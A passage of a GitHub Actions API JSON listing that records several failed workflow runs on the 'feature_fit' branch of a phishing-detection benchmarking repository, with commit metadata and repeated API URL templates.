test","timestamp":"2020-09-29T23:38:39Z","author":{"name":"zacker150","email":"zacker150@hotmail.com"},"committer":{"name":"zacker150","email":"zacker150@hotmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":279470823,"node_id":"MDExOldvcmtmbG93UnVuMjc5NDcwODIz","head_branch":"feature_fit","head_sha":"bba9e413a4b0fc9306ca95b08416bf736948c234","run_number":1040,"event":"push","status":"completed","conclusion":"failure","workflow_id":369237,"check_suite_id":1264292067,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMjY0MjkyMDY3","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/279470823","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/279470823","pull_requests":[],"created_at":"2020-09-29T23:36:01Z","updated_at":"2020-09-29T23:49:48Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/279470823/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/279470823/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1264292067","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/279470823/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/279470823/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/279470823/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"bba9e413a4b0fc9306ca95b08416bf736948c234","tree_id":"1ef66af6784706052c3e2f57109fdaa16c872c70","message":"Fixed load_dataset","timestamp":"2020-09-29T23:35:55Z","author":{"name":"zacker150","email":"zacker150@hotmail.com"},"committer":{"name":"zacker150","email":"zacker150@hotmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":279409870,"node_id":"MDExOldvcmtmbG93UnVuMjc5NDA5ODcw","head_branch":"feature_fit","head_sha":"19c3ce7b5d722da2fc369c87e684c478e50d7c13","run_number":1039,"event":"push","status":"completed","conclusion":"failure","workflow_id":369237,"check_suite_id":1264117985,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMjY0MTE3OTg1","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/279409870","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/279409870","pull_requests":[],"created_at":"2020-09-29T22:39:14Z","updated_at":"2020-09-29T23:09:28Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/279409870/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/279409870/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1264117985","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/279409870/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/279409870/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/279409870/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"19c3ce7b5d722da2fc369c87e684c478e50d7c13","tree_id":"db4dad951dd517cd37e8c3f76b1f348d70872022","message":"Fixed test","timestamp":"2020-09-29T22:39:06Z","author":{"name":"zacker150","email":"zacker150@hotmail.com"},"committer":{"name":"zacker150","email":"zacker150@hotmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":279326089,"node_id":"MDExOldvcmtmbG93UnVuMjc5MzI2MDg5","head_branch":"feature_fit","head_sha":"f76a53d20c973e8b325b804673cc2b532174591c","run_number":1036,"event":"push","status":"completed","conclusion":"failure","workflow_id":369237,"check_suite_id":1263867164,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMjYzODY3MTY0","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/279326089","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/279326089","pull_requests":[],"created_at":"2020-09-29T21:30:41Z","updated_at":"2020-09-29T21:43:44Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/279326089/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/279326089/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1263867164","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/279326089/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/279326089/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/279326089/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"f76a53d20c973e8b325b804673cc2b532174591c","tree_id":"9c74aafa80db994b8811c668a9311238207a8ce6","message":"Fixed test","timestamp":"2020-09-29T21:30:36Z","author":{"name":"zacker150","email":"zacker150@hotmail.com"},"committer":{"name":"zacker150","email":"zacker150@hotmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/